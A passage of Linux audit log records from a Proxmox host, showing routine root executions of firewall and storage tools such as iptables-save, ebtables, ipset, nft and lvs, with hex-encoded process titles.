inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965427959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965427.959:65575): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685325,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.325:62147): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59602 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175219,"@rawstring":"node=pve type=PATH msg=audit(1781966175.219:68754): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965427959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965427.959:65574): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685318,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.318:62146): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59601 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175219,"@rawstring":"node=pve type=PATH msg=audit(1781966175.219:68754): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965427959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965427.959:65573): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.314:62145): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4fc10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175212,"@rawstring":"node=pve type=PATH msg=audit(1781966175.212:68753): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.667:65572): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964685308,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.308:62144): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59599 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175212,"@rawstring":"node=pve type=PATH msg=audit(1781966175.212:68753): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425662,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.662:65571): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964685302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.302:62143): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60f2a50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59598 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175205,"@rawstring":"node=pve type=PATH msg=audit(1781966175.205:68752): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.660:65570): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964685293,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.293:62142): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59597 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175205,"@rawstring":"node=pve type=PATH msg=audit(1781966175.205:68752): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.660:65569): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964685281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.281:62139): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175200,"@rawstring":"node=pve type=PATH msg=audit(1781966175.200:68751): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425656,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.656:65568): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964684789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964684.789:62136): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec220 a1=64f8d73dea80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59595 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175200,"@rawstring":"node=pve type=PATH msg=audit(1781966175.200:68751): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.648:65567): proctitle=\"ip6tables-save\""} {"@timestamp":1781964684762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964684.762:62135): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417640 a1=64f8d73adb90 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59594 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175197,"@rawstring":"node=pve type=PATH msg=audit(1781966175.197:68750): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425640,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.640:65566): proctitle=\"iptables-save\""} {"@timestamp":1781964680271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.271:62134): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175197,"@rawstring":"node=pve type=PATH msg=audit(1781966175.197:68750): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425630,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.630:65565): proctitle=\"ip6tables-save\""} {"@timestamp":1781964680259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.259:62131): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59590 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175196,"@rawstring":"node=pve type=PATH msg=audit(1781966175.196:68749): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425622,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.622:65564): proctitle=\"iptables-save\""} {"@timestamp":1781964680090,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.090:62127): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7462570bbda6 a2=80000 a3=0 items=1 ppid=1215 pid=59589 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966175196,"@rawstring":"node=pve type=PATH msg=audit(1781966175.196:68749): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425619,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.619:65563): proctitle=\"ebtables-restore\""} {"@timestamp":1781964680087,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.087:62126): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4080 a2=715f56b7b018 a3=0 items=2 ppid=1215 pid=59589 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966175196,"@rawstring":"node=pve type=PATH msg=audit(1781966175.196:68748): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425616,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.616:65562): proctitle=\"ebtables-restore\""} {"@timestamp":1781964680049,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.049:62124): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7e5d07cbdda6 a2=80000 a3=0 items=1 ppid=1215 pid=59588 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966175192,"@rawstring":"node=pve type=PATH msg=audit(1781966175.192:68747): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425610,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.610:65561): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964680047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.047:62123): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1215 pid=59588 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966175192,"@rawstring":"node=pve type=PATH msg=audit(1781966175.192:68747): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.603:65560): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964680008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.008:62122): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=77b700086da6 a2=80000 a3=0 items=1 ppid=1215 pid=59587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966175192,"@rawstring":"node=pve type=PATH msg=audit(1781966175.192:68747): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425598,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.598:65559): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964680006,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964680.006:62121): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1215 pid=59587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966175184,"@rawstring":"node=pve type=PATH msg=audit(1781966175.184:68746): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425591,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.591:65558): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964675289,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.289:62120): arch=c000003e syscall=59 success=yes exit=0 a0=57bf6b05eb60 a1=57bf6b06ae40 a2=57bf6b038680 a3=5 items=2 ppid=59580 pid=59586 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175184,"@rawstring":"node=pve type=PATH msg=audit(1781966175.184:68746): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.587:65557): proctitle=697073657400726573746F7265"} {"@timestamp":1781964675286,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.286:62119): arch=c000003e syscall=59 success=yes exit=0 a0=57bf4822bac8 a1=7fffbf3f8c70 a2=57bf6b038680 a3=57bf4820f24e items=2 ppid=59580 pid=59582 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175177,"@rawstring":"node=pve type=PATH msg=audit(1781966175.177:68745): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425578,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.578:65556): proctitle=\"ip6tables-save\""} {"@timestamp":1781964675285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.285:62118): arch=c000003e syscall=59 success=yes exit=0 a0=7fffbf3f8c30 a1=57bf6b05a200 a2=57bf6b038680 a3=5 items=2 ppid=59580 pid=59581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175177,"@rawstring":"node=pve type=PATH msg=audit(1781966175.177:68745): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425571,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.571:65555): proctitle=\"iptables-save\""} {"@timestamp":1781964675281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.281:62116): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59580 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175170,"@rawstring":"node=pve type=PATH msg=audit(1781966175.170:68744): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.567:65554): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964675276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.276:62115): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175170,"@rawstring":"node=pve type=PATH msg=audit(1781966175.170:68744): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425557,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.557:65553): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964675270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.270:62114): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175162,"@rawstring":"node=pve type=PATH msg=audit(1781966175.162:68743): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425551,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.551:65552): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964675264,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.264:62113): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175162,"@rawstring":"node=pve type=PATH msg=audit(1781966175.162:68743): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425551,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.551:65551): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964675257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.257:62112): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59576 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175153,"@rawstring":"node=pve type=PATH msg=audit(1781966175.153:68742): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425542,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.542:65550): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964675254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.254:62111): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6239d3e83740 items=0 ppid=1156 pid=59575 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966175153,"@rawstring":"node=pve type=PATH msg=audit(1781966175.153:68742): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425524,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.524:65549): proctitle=\"ip6tables-save\""} {"@timestamp":1781964675252,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.252:62110): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc134ea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59575 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966174913,"@rawstring":"node=pve type=PATH msg=audit(1781966174.913:68741): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.517:65548): proctitle=\"iptables-save\""} {"@timestamp":1781964675249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.249:62109): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966174913,"@rawstring":"node=pve type=PATH msg=audit(1781966174.913:68741): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.512:65547): proctitle=69707365740073617665"} {"@timestamp":1781964675246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.246:62106): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f4880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966174888,"@rawstring":"node=pve type=PATH msg=audit(1781966174.888:68740): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425504,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.504:65546): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.241:62105): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1305b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59571 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966174888,"@rawstring":"node=pve type=PATH msg=audit(1781966174.888:68740): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965425496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965425.496:65545): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964675.241:62104): 